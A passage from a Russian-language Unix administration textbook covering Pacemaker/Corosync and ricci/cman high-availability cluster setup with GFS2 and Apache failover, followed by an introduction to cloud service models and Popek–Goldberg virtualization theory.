[root@node1~] # pcs cluster start --all node2: Starting Cluster... node1: Starting Cluster...

Примечание: Длительный процесс, около минуты.

Проверка состояния кластера:

[root@node1~] # pcs status cluster Cluster Status: Last updated: Sun Sep 20 12:03:07 2015 Last change: Sun Sep 20 12:03:04 2015 Current DC: NONE 2 Nodes configured 0 Resources configured

Проверка состояния узлов:

[root@node1~] # pcs status nodes Pacemaker Nodes: Online: node1 node2 Standby: Offline:

Проверка состояния синхронизации узлов кластера:

[root@node1~] # corosync-cmapctl | grep members runtime.totem.pg.mrp.srp.members.1.config_version (u64)=0 runtime.totem.pg.mrp.srp.members.1.ip (str)= r(0) ip(192.168.202.101) runtime.totem.pg.mrp.srp.members.1.join_count (u32)=1 runtime.totem.pg.mrp.srp.members.1.status (str)= joined runtime.totem.pg.mrp.srp.members.2.config_version (u64)=0 runtime.totem.pg.mrp.srp.members.2.ip (str)= r(0) ip(192.168.202.102) runtime.totem.pg.mrp.srp.members.2.join_count (u32)=1 runtime.totem.pg.mrp.srp.members.2.status (str)= joined

[root@node1~] # pcs status corosync

Membership information ------Nodeid Votes Name 11 node1 (local) 21 node2

Настройка параметров кластера

Определение основных параметров кластера:

[root@node1~] # pcs property Cluster Properties: cluster-infrastructure: corosync dc-version: 1.1.10-32.el7_0-368c726

Настройки кластера можно проверить с помощью специальной утилиты crm_verify. Опция -L позволяет осуществить диагностики всех работающих узлов кластера (без этой опции можно про- верять только локальные файлы настроек текущего узла):

2.1. Администрирование вычислительных сетей 193 ABC Unix, Выпуск 1.0.01

[root@node1~] # crm_verify -L Errors found during check: config not valid -V may provide more details

В настройках кластера обнаружена ошибка, детализироать которую предлагается с помощью опции -V:

[root@node1~] # crm_verify -L -V error: unpack_resources: Resource start-up disabled since no STONITH resources have been defin error: unpack_resources: Either configure some or disable STONITH with the stonith-enabled opt error: unpack_resources: NOTE: Clusters with shared data need STONITH to ensure data integrity Errors found during check: config not valid

Данное сообщение об ошибке говорит о том, что не работае механизм STONITH (Shoot-The-Other- Node-In-The-Head). Механизм ‘‘STONITH‘‘ Позволяет, если необходимо, выключать/включать/перезагружать узлы кластера. Обычно этот механизм реализуется с помощью специальных сетевых «пилотов» с удаленным управлением или через специальные платы управления сервером. В pacemaker устройства STONITH реализованы в виде кластерных ресурсов. Для простого кластера механизм STONITH можно отключить:

[root@node1~] # pcs property set stonith-enabled=false

Кворум Кворум задает минимальное число работающих узлов кластера, при котором кластер считается работоспособным. По умолчанию, кворум считается недопустиммым, если число работающих узлов меньше половины от общего числа узлов. В случае 2-х узлов анализ кворума не имеет смысла (кластер будет считаеться не работоспособным если хотябы один из узлов отключен). Отключение кворума:

[root@node1~] # pcs property set no-quorum-policy=ignore

Просмотреть установленные параметры можно так:

[root@node1~] # pcs property ... no-quorum-policy: ignore stonith-enabled: false

Добавление тестового ресурса

[root@node1~] # pcs resource create dummy_svc Dummy op monitor interval=120s

где, op monitor interval=120s при отказе ресурса обеспечивает вывод диагностического сообще- ния раз в 2 минуты и перенос ресурса на другой элемен кластера. Эмуляция отказа тестового ресурса

[root@node1~] # crm_resource --resource my_first_svc --force-stop

Управление кластером

• определение состояния кластера

194 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

[root@nodeX~] # pcs cluster status --all

• запуск всех узлов кластера

[root@nodeX~] # pcs cluster start --all

• остановка всех узлов кластера

[root@nodeX~] # pcs cluster stop --all

• запуск текущего узла кластера

[root@nodeX~] # pcs cluster start

• выключение узла

[root@nodeX~] # poweroff

Эксперимент по выключению одного из узлов

Выключим узел node1

[root@node1~] # poweroff

Выполним на работающем узле node2:

[root@node2~] # pcs cluster status --all Cluster Status: Last updated: Sun Sep 20 13:25:37 2015 Last change: Sun Sep 20 12:56:37 2015 Stack: corosync Current DC: node2 (2)- partition with quorum Version: 1.1.12-a14efad 2 Nodes configured 0 Resources configured

PCSD Status:

Длительная пауза ... node1: Offline node2: Online

Включим node1, повторим предыдущую команду на узле, который не выключался (node2):

Cluster Status: Last updated: Sun Sep 20 13:32:17 2015 Last change: Sun Sep 20 12:56:37 2015 Stack: corosync Current DC: node2 (2)- partition with quorum Version: 1.1.12-a14efad 2 Nodes configured 0 Resources configured

PCSD Status: node1: Online node2: Online

Выполним на включенном узле node1 команду:

2.1. Администрирование вычислительных сетей 195 ABC Unix, Выпуск 1.0.01

[root@node1~] # pcs cluster status Error: cluster is not currently running on this node

Для восстановления работоспособности утилиты pcs на данном узле необходимо запустить кластер на этом узле:

[root@nodeX~] # pcs cluster start Starting Cluster...

Тогда:

[root@node1~] # pcs cluster status Cluster Status: Last updated: Sun Sep 20 13:37:21 2015 Last change: Sun Sep 20 12:56:37 2015 Stack: corosync Current DC: NONE 2 Nodes configured 0 Resources configured

PCSD Status: node1: Online node2: Online

Виртуальный IP кластера

Создание:

[root@node1~] # pcs resource create virtual_ip ocf:heartbeat:IPaddr2 \ ip=\ cidr_netmask=32\ op monitor interval=30s [root@node1~] # pcs status resources virtual_ip (ocf::heartbeat:IPaddr2): Started

Здесь, - виртуальный IP для узлов кластера или просто IP кластера Проверка виртуального IP:

[root@node1 ~]$ ping -c1

Примечание: В данный момент по VIP “пингуется” узел node1.

Определение активного узла (узла, на который передаются пакеты с адресом равным адресу кла- стера):

[root@node1~] # pcs status|grep virtual_ip virtual_ip (ocf::heartbeat:IPaddr2): Started node1

Настройка HTTP сервера

Ниже растраивается простой HTTP сервер обрабатывающий запросы поступающие на виртуаль- ный адрес кластера. В зависимости от того, какой узел кластера подключен к виртуальному адресу кластера выводистя та или другая статическая страничка HTML. Установка:

196 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

[root@nodeX ~]# yum install httpd ... Complete!

Открытие HTTP трафика:

[root@nodeX~] # iptables -I INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT [root@nodeX~] # service iptables save iptables: Saving firewall rules to/etc/sysconfig/iptables:[ OK ]

На каждом узле кластера создается файла настройки:

[root@nodeX~] # vi /etc/httpd/conf.d/serverstatus.conf Listen 127.0.0.1:80 SetHandler server-status Order deny,allow Deny from all Allow from 127.0.0.1

который выдает состояние HTTP сервера при обрашении к нему с помощью адресной строки вида: http://127.0.0.1/server-status

HTTP сервер отключается от реальног адреса путем коментирования всех строк с опцией Listen в основном файле настройки:

[root@nodeX~] # sed -i 's/Listen/#Listen/' /etc/httpd/conf/httpd.conf

Перезапуск HTTP сервиса:

[root@nodeX~] # systemctl restart httpd

Проверка состояния узла:

[root@nodeX~] # wget http://127.0.0.1/server-status

На каждом узле содаются тестовае странички:

[root@node1~] # vi /var/www/html/index.html

node1

[root@node2~] # vi /var/www/html/index.html

node2

Подключение HTTP сервера к кластеру

Остановить HTTP сервер: CentOS 7

[root@nodeX~] # systemctl stop httpd

CentOS 6

2.1. Администрирование вычислительных сетей 197 ABC Unix, Выпуск 1.0.01

[root@nodeX~] # service httpd stop

На каждом узле настроить HTTP сервер на виртуальный адрес кластера:

[root@nodeX~] # echo "Listen :80"|sudo tee --append /etc/httpd/conf/httpd.conf

Создать кластерный ресурс:

[root@node1~] # pcs resource create webserver ocf:heartbeat:apache \ configfile=/etc/httpd/conf/httpd.conf \ statusurl="http://localhost/server-status"\ op monitor interval=1min

По умолчанию, кластерный ресурс HTTP сервера будет пытаться распределять нагрузку между узлами. В нашем случае это приведет к ошибке, поскольку HTTP сервисы на узлах настроены на единственный виртуальный адрес кластера. Поэтому:

[root@node1~] # pcs constraint colocation add webserver virtual_ip INFINITY

Для того, чтобы HTTP сервис запускался после активации виртуального адреса кластера:

[root@node1~] # pcs constraint order virtual_ip then webserver Adding virtual_ip webserver (kind: Mandatory) (Options: first-action=start then-action=start)

Если узлы кластера не эквивалентны по производительности или доступности можно увеличить приоритет одного из узлов:

[root@node1~] # pcs constraint location webserver prefers node1=50

Просмотр текущих настроек:

[root@node1~] # pcs constraint Location Constraints: Resource: webserver Enabled on: node1 (score:50) Ordering Constraints: start virtual_ip then start webserver Colocation Constraints: webserver with virtual_ip

Перезапуск кластера:

[root@node1~] # pcs cluster stop --all && sudo pcs cluster start --all node2: Stopping Cluster... node01: Stopping Cluster... node02: Starting Cluster... node01: Starting Cluster... [root@node01~] # pcs status Cluster name:<имя_кластера> Last updated: Fri Aug 22 13:27:28 2014 Last change: Fri Aug 22 13:25:17 2014 via cibadmin on node01 Stack: corosync Current DC: node02 (2)- partition with quorum Version: 1.1.10-32.el7_0-368c726 2 Nodes configured 2 Resources configured Online: [ node01 node02 ] Full list of resources: virtual_ip (ocf::heartbeat:IPaddr2): Started node01 webserver (ocf::heartbeat:apache): Started node01

198 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

PCSD Status: node01: Online node02: Online Daemon Status: corosync: active/disabled pacemaker: active/disabled pcsd: active/disabled

Примечание: Из приведенного листинга следует, что в данный момент активен узел node1.

Для проверки остановим узел node1 и посмотрим состояние кластера:

[root@node1~] # pcs cluster stop node1 node1: Stopping Cluster...

[root@node2~] # pcs status Cluster name:<имя_кластера> ... Online: [ node2 ] OFFLINE: [ node1 ] Full list of resources: virtual_ip (ocf::heartbeat:IPaddr2): Started node2 webserver (ocf::heartbeat:apache): Started node2

Примечание: Из приведенного листинга следует, что при отключении узла node1 управление HTTP``сервисом переключается на ``node2.

Для того, чтобы сервисы кластера автоматически запускались при перезагрузке нужно выполнить следующие команды на всех узлах кластера:

[root@nodeX~] # systemctl enable pcsd [root@nodeX~] # systemctl enable corosync [root@nodeX~] # systemctl enable pacemaker

Настройка GFS2

Источник Установка необходимого ПО на обеих элементах кластера:

[root@nodeX~] # yum -y install gfs2-utils dlm [root@nodeX~] # yum -y install lvm2-cluster

Включение кластерных блокировок LVM:

[root@nodeX~] # lvmconf --enable-cluster

Создается резервная копия /etc/lvm/lvm.conf файла /etc/lvm/lvm.lvmconfold. Разница между исходным и новым файлом: locking_type = 3 locking_type = 1 use_lvmetad = 0 use_lvmetad = 1 Перезагрузка:

[root@nodeX~] # systemctl reboot

Создание на кластере ресурса DLM:

2.1. Администрирование вычислительных сетей 199 ABC Unix, Выпуск 1.0.01

[root@node1~] # pcs resource create dlm ocf:pacemaker:controld \ op monitor interval=30s on-fail=fence clone interleave=true ordered=true

Примечание: Удалить ресурс можно командой: pcs resource delete dlm

Создание на кластере ресурса CLVMD:

[root@node1~] # pcs resource create clvmd ocf:heartbeat:clvm \ op monitor interval=30s on-fail=fence clone interleave=true ordered=true

Примечание: Команда выполняется на одном из узлов

Настройка порядка запуска сервисов (DLM сервис должен запускаться раньше CLVMD сервиса):

[root@node1~] # pcs constraint order start dlm-clone then clvmd-clone

Настройка ограничения обеспечивающего запуск сервиса CLVMD только вместе с сервисом DLM (по отдельности запускаться не будут):

[root@node1~] # pcs constraint colocation add clvmd-clone with dlm-clone

Проверка состояния:

[root@node1~] # pcs status resources Clone Set: dlm-clone [dlm] Started: [ node1 node2 ] Clone Set: clvmd-clone [clvmd] Started: [ node1 node2 ]

Настройка, обеспечивающая блокироку изменений даннах при нарушении условий кворума:

[root@node1~] # pcs property set no-quorum-policy=freeze

Создание ресурса LVM

[root@node1~] # pvcreate <блочное_устройство> [root@node1~] # vgcreate -Ay -cy <имя_VG> <блочное_устройство> [root@node1~] # lvcreate -L <размер>G -n <имя_LV> <имя_VG>

Примечание: Выполняется на одном из узлов.

Создание файловой системы GFS

[root@node1~] # mkfs.gfs2 -p lock_dlm -t webcluster:testfs -j 2 /dev/<имя_VG>/<имя_LV>

Здесь: -p тип кластерной блокировки -t имя кластера и имя файловой системы -j количество журналов (определяется количеством узлов имеющих право изменять данные на файловой системе)

Примечание: Для надежности обычно количество журналов делают больше количества узлов.

200 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

Для монтирования LV будет использоваться pcs, а не команда mount:

[root@node1~] # pcs resource create gfs2_res Filesystem device="/dev/<имя_VG>/<имя_LV>" \ directory="/mnt" fstype="gfs2" options="noatime,nodiratime"\ op monitor interval=10s on-fail=fence clone interleave=true

Данная команда клонирует ресурс на все узлы кластера, что можно проверить командой:

[root@node1~] # pcs resource show Clone Set: dlm-clone [dlm] Started: [ node1 node2 ] Clone Set: clvmd-clone [clvmd] Started: [ node1 node2 ] Clone Set: gfs2_res-clone [gfs2_res] Started: [ node1 node2 ]

Следующая команда показывает доступность LV на любом узле:

[root@nodeX~] # mount | grep gfs2 /dev/mapper/<имя_VG>-<имя_LV> on/mnt type gfs2 (rw,noatime,nodiratime,seclabel)

Примечание: Опции noatime, nodiratime и seclabel повышают производительность. noatime, nodiratime - отключают запись времени доступа для файлов и каталогов. seclabel - отключает запись меток SELinux.

Далее, задается последовательность запуска сервиса (gfs2 запускается только после сервиса clvmd):

[root@node1~] # pcs constraint order start clvmd-clone then gfs2_res-clone Adding clvmd-clone gfs2_res-clone (kind: Mandatory) (Options: first-action=start then- ˓→action=start)

Задается необходимось запуска обеих сервисов на каждом узле:

[root@node1~] # pcs constraint colocation add gfs2_res-clone with clvmd-clone

Проверка настроек:

[root@node1~] # pcs constraint show Location Constraints: Ordering Constraints: start dlm-clone then start clvmd-clone start clvmd-clone then start gfs2_res-clone Colocation Constraints: clvmd-clone with dlm-clone gfs2_res-clone with clvmd-clone

Расширить файловую систему можно выполнив следующие каманды на любом из узлов: • увеличить LV

[root@node1~] # lvextend -L+1G /dev/<имя_VG>/<имя_LV> Extending logical volume<имя_LV> to 2.00 GiB Logical volume<имя_LV> successfully resized

• расширить файловую систему

[root@node1~] # gfs2_grow /dev/<имя_VG>/<имя_LV> FS: Mount point:/mnt FS: Device:/dev/mapper/<имя_VG>-<имя_LV> FS: Size: 262142(0x3fffe)

2.1. Администрирование вычислительных сетей 201 ABC Unix, Выпуск 1.0.01

FS: Resource group size: 65517(0xffed) DEV: Length: 524288(0x80000) The file system grew by 1024MB. gfs2_grow complete.

Определить размер: df-hT/mnt Filesystem Type Size Used Avail Use% Mounted on /dev/mapper/<имя_VG>-<имя_LV> gfs2 2.0G 259M 1.8G 13%/mnt

Кластер высокой доступности (HA-cluster) на базе ricci и cman

Классический HA-cluster с переключением не кластерной ФС между узлами кластера Перед настройкой кластера нужно установить и настроить сервер синхранизации на обеих узлах: yum-y install ntp service ntpd start ntpq-p chkconfig ntpd on

Обеспечить распознование узлов по имени. На обеих узлах устанавливаем пакеты необходимые для построения кластера: yum-y install ricci cman rgmanager ccs

На обеих узлах устанавливаем пароль для пользователя ricci, от имени которого работает одно- именный сервис, обеспечивающий синхронизацию настроек узлов кластера: passwd ricci

Changing password for user ricci. New password: Retype new password: passwd: all authentication tokens updated successfully.

Запускаем сервис ricci: service ricci start

Starting system message bus: [ OK ] Starting oddjobd: [ OK ] generating SSL certificates... done Generating NSS database... done Starting ricci: [ OK ] service rgmanager start Starting Cluster Service Manager: [ OK ]

На обеих узлах включаем сервисы: chkconfig ricci on chkconfig rgmanager on

Далее, нужно установить утилиту omping, которая обеспечивает тестирование узлов с помощью вспомогательныч широковещательных запросов: yum-y install omping

202 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

Проверяем доступ к узлам с помощью установленной утилиты:

[root@node3~] # omping 10.1.1.104 10.1.1.104 : waiting for response msg 10.1.1.104 : joined (S,G)=(*, 232.43.211.234), pinging 10.1.1.104 : unicast, seq=1, size=69 bytes, dist=0, time=0.497ms 10.1.1.104 : multicast, seq=1, size=69 bytes, dist=0, time=0.507ms [root@node4~] # 10.1.1.104 10.1.1.103 : waiting for response msg 10.1.1.103 : joined (S,G)=(*, 232.43.211.234), pinging 10.1.1.103 : unicast, seq=1, size=69 bytes, dist=0, time=0.201ms 10.1.1.103 : multicast, seq=1, size=69 bytes, dist=0, time=0.281ms

Примечание: Если указать адрес узла на котором выполняется команда - ругается.

Теперь можно приступить к настройке кластера. Команды выполняются на одном из узлов (node3). После окончания настройки с помощью утилиты ccs можно синхронизировать настройки на второй узел. Создадим кластер с именем testcluster:

[root@node3~] # ccs --createcluster testcluster cat /etc/cluster/cluster.conf

Добавим оба узла с одинаковым quorum vote:

[root@node3~] # ccs --addnode node3 --votes=1 --nodeid=1 Node node3 added. [root@node3~] # ccs --addnode node4 --votes=1 --nodeid=2 Node node4 added. cat /etc/cluster/cluster.conf

Установим параметры fence daemon:

2.1. Администрирование вычислительных сетей 203 ABC Unix, Выпуск 1.0.01

[root@node3~] # ccs --setfencedaemon post_fail_delay=0 post_join_delay=30 cat /etc/cluster/cluster.conf

Параметр post_fail_delay задает задержку в секундах для изоляции вышедшего из строя узла. Параметр post_join_delay задает задержку в секундах для подключения узла к кластеру. Установим корректные параметры для сервиса cman. Для двух узлов в кластере требуется устано- вить параметр two_node в 1, и expected_votes в 1:

[root@node3~] # ccs --setcman two_node=1 expected_votes=1 cat /etc/cluster/cluster.conf

Далее, добавим fencing-метод для SCSI-устройств для обеиз узлов:

[root@node3~] # ccs --addmethod scsi node3 Method scsi added to node3. [root@node3~] # ccs --addmethod scsi node4 Method scsi added to node4. cat /etc/cluster/cluster.conf

204 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

Создадим fence устройство на /dev/sdc:

[root@node3~] # ccs --addfencedev scsi_dev agent=fence_scsi devices=/dev/sdc logfile=/var/log/ ˓→cluster/fence_scsi.log aptpl=1 cat /etc/cluster/cluster.conf

Далле добавим fence правило в кластер. unfence правило создается автоматически:

[root@node3~] # ccs --addfenceinst scsi_dev node3 scsi key=1 Note: Automatically adding unfence action... (use--nounfence to prevent this) [root@node3~] # ccs --addfenceinst scsi_dev node4 scsi key=2 Note: Automatically adding unfence action... (use--nounfence to prevent this) cat /etc/cluster/cluster.conf

2.1. Администрирование вычислительных сетей 205 ABC Unix, Выпуск 1.0.01

Создадим отказоустойчивый домен:

[root@node3~] # ccs --addfailoverdomain fs-failover ordered=1 nofailback=1

Добавим оба узла в отказоустойчивый домен:

[root@node3~] # ccs --addfailoverdomainnode fs-failover node3 1 [root@node3~] # ccs --addfailoverdomainnode fs-failover node4 2

Добавляем сервисы в отказоустойчивый домен:

[root@node3~] # ccs --addservice fs domain=fs-failover recovery=relocate autostart=1

Далее добавляем файловые ресурсы:

[root@node3~] # ccs --addresource fs name=failover_fs device=/dev/sdb1 mountpoint=/mnt␣ ˓→fstype=ext4

[root@node3~] # ccs --addsubservice fs fs ref=failover_fs cat /etc/cluster/cluster.conf

206 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

Клонируем настройки на второй узел node4:

[root@node3~] # ccs --sync --activate

Запустим сервис cman на обеих узлах:

[root@node3~] # service cman start

Starting cluster: Checking if cluster has been disabled at boot... [ OK ] Checking Network Manager... [ OK ] Global setup... [ OK ] Loading kernel modules... [ OK ] Mounting configfs... [ OK ] Starting cman... [ OK ] Waiting for quorum... [ OK ] Starting fenced... [ OK ] Starting dlm_controld... [ OK ] Tuning DLM kernel config... [ OK ] Starting gfs_controld... [ OK ]

!!! Unfencing self... unfence gw1 failed [СБОЙ ] !!!

Stopping cluster: Leaving fence domain... [ OK ] Stopping gfs_controld... [ OK ]

2.1. Администрирование вычислительных сетей 207 ABC Unix, Выпуск 1.0.01

Stopping dlm_controld... [ OK ] Stopping fenced... [ OK ] Stopping cman... [ OK ] Waiting for corosync to shutdown: [ OK ] Unloading kernel modules... [ OK ] Unmounting configfs... [ OK ]

Запускаем все сервисы:

[root@node3~] # ccs --startall Started node3 Started node4

Проверяем состояние:

[root@node3~] # clustat Cluster Status for testcluster@ Thu Jul 17 20:10:44 2014 Member Status: Quorate

Member Name ID Status ------node31 Online, Local, rgmanager node42 Online, rgmanager

Service Name Owner (Last) State ------service:fs node3 started

Проверяем смонтированную файловую систему на node3:

[root@node3~] # df -h Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_node3-lv_root 18G 1.1G 16G7%/ tmpfs 495M 23M 473M5%/dev/shm /dev/sda1 485M 33M 427M8%/boot /dev/sdb1 7.9G 146M 7.8G2%/mnt

В данный момент раздел /dev/sdb1 смонтирован в каталог /mnt. При перезагрузке node3 файловая системы должна переключиться на узел node4:

[root@node3 ~]# reboot

Broadcast message from root@node3 (/dev/pts/0) at 20:11 ...

The system is going down for reboot NOW!

[root@node4 ~]# df -h Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_node4-lv_root 18G 1.1G 16G 7% / tmpfs 495M 23M 473M 5% /dev/shm /dev/sda1 485M 33M 427M 8% /boot /dev/sdb1 7.9G 146M 7.8G 2% /mnt

Все работает. Следующие команды позволяют анализировать состояние кластера:

[root@node3~] # ccs --lsnodes node3: votes=1, nodeid=1 node4: votes=1, nodeid=2 [root@node3~] # ccs --lsfencedev scsi_dev: logfile=/var/log/cluster/fence_scsi.log, aptpl=1, devices=/dev/sdc, agent=fence_scsi [root@node3~] # ccs --lsfailoverdomain

208 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

fs-failover: restricted=0, ordered=0, nofailback=0 node3: priority=1 node4: priority=2 [root@node3~] # ccs --lsservices service: name=fs, domain=fs-failover, autostart=1, recovery=relocate fs: ref=failover_fs resources: fs: name=failover_fs, device=/dev/sdb1, mountpoint=/mnt, fstype=ext4

2.1. Администрирование вычислительных сетей 209 ABC Unix, Выпуск 1.0.01

210 Глава 2. Администрирование вычислительных сетей ГЛАВА 3

Открытые облачные системы

Дисциплина входит в вариативную часть образовательной программы подготовки студентов по направлению «09.04.01 Информатика и вычислительная техника». Курс содержит базовые све- дения по создании и администрированию аппаратно-программных комплексов на базе облачных технологий (cloud computing). Лекционный курс дополняют практические занятия по установке и настройке: • систем виртуализации KVM и VirtualBox; • систем управления контейнерами Vagrant, LXC, Docker; • платформы OpenStack для управления частными и публичными облачными системами.

Открытые облачные системы

Введение в теорию облачных систем

...

Классификация облачных систем

Традиционно выделяют три типа (уровня) облачных систем: • Инфраструктура как услуга (IaaS, Infrastructure as Service). • Платформа как услуга (PaaS, Platform as a Service). • Программное обеспечение как услуга (SaaS, software as a service).

211 ABC Unix, Выпуск 1.0.01

Рис. Виды “облачных” услуг На рисунке, в виде обобщенной схемы представлен каждый из перечисленных выше видов облач- ных услуг, названия которых приведены в центре в виде перевернутой пирамиды. Больший размер блока пирамиды означает, что он включает в себя инфраструктуру более маленького блока. На- пример, для предоставления сервиса “Платформа как услуга” с точки зрения поставщика услуг необходимо также иметь возможность обеспечить сервис “Инфрастуктура как услуга”. В левой части рисунка указано, каким видом ИТ-ресурсов необходимо обладать, чтобы предо- ставить соответствующие услуги. В правой части рисунка перечислены виды целевой аудитории предоставляемых облачных услуг.

IaaS – инфраструктура как услуга (Infrastructure as Service)

На этом уровне предоставляется возможность конструировать IT-инфраструктуру и управлять ею. Например, создавать виртуальные сети, добавлять виртуальное оборудование (серверы, хра- нилища, базы данных), устанавливать необходимое для работы прикладное программное обеспе- чение и операционные системы, т.е. использовать облако так, как если бы это была реальная IT- инфраструктура. Самые известные IaaS-решения: • Amazon CloudFormation, • Google Compute Engine, • Windows Azure.

PaaS – платформа как услуга (Platform as a Service)

На этом уровне предоставляется возможность устанавливать операционные системы, систем управ- ления баз данных, средств разработки и тестирования. .. Таким образом, потребитель облачных услуг получает возможность и средства для самостоятельного создания, тестирования и эксплуата- ции программного обеспечения. При этом вся информационная инфраструктура (вычислительные сети, серверы и системы хранения) управляется провайдером. Вот перечень наиболее известных PaaS-сервисов: • Google App Engine (для разработки программного обеспечения на языках Java, Python); • Windows Azure (для ASP.NET, PHP); • Cloud Foundry (языки программирования Java, Ruby, Scala).

212 Глава 3. Открытые облачные системы ABC Unix, Выпуск 1.0.01

SaaS – Программное обеспечение как услуга (Software as a service)

На этом уровне предоставляется возможность установки программного обеспечение. Все данные хранятся в облаке, и для доступа к ним пользователю требуется только наличие веб-браузера. При этом не требуются дополнительные затраты на установку и настройку программного обеспече- ния, как это требуется при использовании IaaS и PaaS. В большинстве случаев плата за использова- ние программного обеспечения в рамках SaaS рассчитывается с учётом количества пользователей и не предполагает так называемых Enterprise-лицензий, позволяющих использовать некоторый сер- вис для любого количества пользователей без ограничений. Примеры бесплатных SaaS-решений: • Google Apps for Education; • Microsoft Office 365 for education. Они содержат в себе функции офисного пакета (работа с документами, таблицами и презентаци- ями), средств коммуникации (электронная почта, календари, мгновенные сообщения) и средств эффектной подачи информации (в виде статических презентаций, видеороликов или интерактив- ных приложений).

Аппаратное обеспечение

Кластерные системы

Blade-системы

Теория аппаратной виртуализации

1. Особенности использования аппаратной поддержки виртуализации компьютеров. 2. Три необходимых условий виртуализации и формулировка необходимых условий для их до- стижения. 3. Какое отражение теория находит в реальности: как различные производители процессоров различных архитектур реализовали виртуализацию. 4. Рекурсивная виртуализация. Определеня: • Хозяин (англ. host) — аппаратная система, на которой запущен монитор виртуальных машин или симулятор. • Гость (англ. guest) — виртуальная или моделируемая система, запущенная под управлением монитора или симулятора. Также иногда именуется как целевая система (англ. target system). • Монитор (гипервизор) ВМ - программный уровень абстракции, разделявший аппаратную платформу на несколько виртуальных машин.

Введение

Виртуализация представляла интерес ещё во времена преобладания больших систем — мейэнфрей- мов, ресурсы которых были очень дорогими, и их простой был экономически недопустим. Вир- туализация позволяла избавить пользователей и прикладных программистов от переписывания ПО под разные аппаратные платформы, так как для прикладного ПО виртуальная машина была идентична реальной. Пионером в области виртуализации является фирма IBM с мэйнфреймами System/360, System/370, созданными в 1960-1970-х гг. Классические критерии виртуализуемости сформулировали Жеральд Попек и Роберт Голдберг в работе [8].

3.1. Открытые облачные системы 213 ABC Unix, Выпуск 1.0.01

Модель системы

В дальнейшем используется упрощённое представление «стандартной» ЭВМ, состоящей из одного центрального процессора и линейной, однородной оперативной памяти. Периферийные устройства, а также средства взаимодействия с ними опускаются. Процессор поддерживает два режима работы: • режим супервизора, используемый операционной системой, • режим пользователя, используемый прикладными приложениями. Память поддерживает режим сегментации, используемый для организации виртуальной памяти. Требования предъявляемые к монитору ВМ: Изоляция — каждая виртуальная машина должна иметь доступ только к своим ресурсам. Она не должна иметь возможности повлиять на работу как монитора, так и других ВМ. Эквивалентность — выполнение любой прикладной программы под управлением ВМ, должно быть полностью идентично её выполнению на реальной системе, за исключением эффектов, вы- званных двумя обстоятельствами: • различием в количестве доступных ресурсов (например, ВМ может иметь меньший объём памяти), • длительностями операций (из-за возможности разделения времени исполнения с другими ВМ). Эффективность — в оригинальной работе условие сформулировано следующим образом: «стати- стически преобладающее подмножество инструкций виртуального процессора должно исполнять- ся напрямую хозяйским процессором, без вмешательства монитора ВМ». Другими словами, зна- чительная часть инструкций должна симулироваться в режиме прямого исполнения. Требование эффективности является самым неоднозначным из трёх перечисленных требований. В случае си- муляторов, основанных на интерпретации инструкций, условие эффективности не выполняется, т.к. каждая инструкция гостя требует обработки симулятором.

Классы инструкций

Состояние процессора хранится как минимум в трех регистрах: • регистр M определяет находится ли процессор в режиме супервизора s или пользователя u, • регистр P - указатель текущей инструкции, • регистр R - определяет границы используемого сегмента памяти (в простейшем случае R задаёт отрезок, т.е. R = (l,b), где l — адрес начала диапазона, b — его длина). Память E состоит из фиксированного числа ячеек, к которым можно обращаться по их номеру t, например, E[t]. Размер памяти и ячеек для данного рассмотрения несущественен. Инструкция i может изменить регистры M,P,R и память E, т.е. она является функцией преобра- зования: (M1,P1,R1,E1) -> (M2,P2,R2,E2). При некоторых входных данных выполнение инструкции может вызывать прерывание (англ. trap) специального вида - исключение. Такие прерывания обрабатываются специальными инструкциями - ловушками.

Ловушка помещает состояние процессора (M1,P1,R1) до начала исполнения инструкции в ячейку памяти E[0] и восстанавливает состояние процессора (M2,P2,R2) из ячейки памяти E[1]. Ловушка позволяет выполнять инструкции обработчика, сохраняя состояние процесса на момент до нача- ла исполнения его последней инструкции, и восстанавливая его после выполнения обработчика. Ловушки могут быть двух типов: • Ловушки потока управления- вызываются попытками изменить состояние процессора. • Ловушки защиты памяти - вызываются в результате обращения к содержимому памяти, выходящему за пределы диапазона, хранящегося в регистре R.

214 Глава 3. Открытые облачные системы ABC Unix, Выпуск 1.0.01

Различные типы ловушок не исключают друг друга - результатом исполнения могут быть одно- временно ловушка потока управления и защиты памяти. Машинные инструкции рассматриваемого процессора можно классифицировать следующим образом: • Привилегированные (англ. privileged) - могут исполняться только в режиме супервизора (ре- гистр M = s), иначе обязательно вызывают исключение. • Служебные (англ. sensitive), включающие в себя: • Инструкции, изменяющие режим (регистр M) и/или границу сегмента памяти (регистр R) и не вызывающие при этом ловушки защиты памяти. • ??? Инструкции, поведение которых зависит или от режима (регистр M), или от границы сегмента памяти (регистр R) в случаях, когда они не вызывают ловушку защиты памяти. ??? • Безвредные (англ. innocuous). Не являющиеся служебными, не манипулирующие ничем, кро- ме указателя инструкций P и памяти E, поведение которых не зависит от того, в каком режиме или с каким адресом в памяти они расположены.

Достаточное условие построения монитора ВМ

Множество служебных инструкций является подмножеством привилегированных ин- струкций:

• Изоляция обеспечивается размещением монитора в режиме супервизора, а ВМ — только в пользовательском. При этом ВМ не могут самовольно изменить системные ресурсы и память — попытка вызовет ловушку потока управления или защиты памяти и переход в монитор. • Эквивалентность доказывается тем, что безвредные инструкции выполняются одинаково вне зависимости от того, присутствует ли в системе монитор или нет, а служебные всегда вызы- вают исключение и интерпретируются. Отметим, что даже в описанной выше простой схеме проявляется первое ослабляющее условие: даже без учёта памяти, необходимой для хране- ния кода и данных гипервизора, объём доступной для ВМ памяти будет как минимум на две ячейки меньше, чем имеется у хозяйской системы. • Эффективность гарантируется тем, что все безвредные инструкции внутри ВМ исполняются напрямую, без замедления. При этом подразумевается, что их множество включает в себя «статистически преобладающее подмножество инструкций виртуального процессора».

Ограничения применимости критерия виртуализуемости

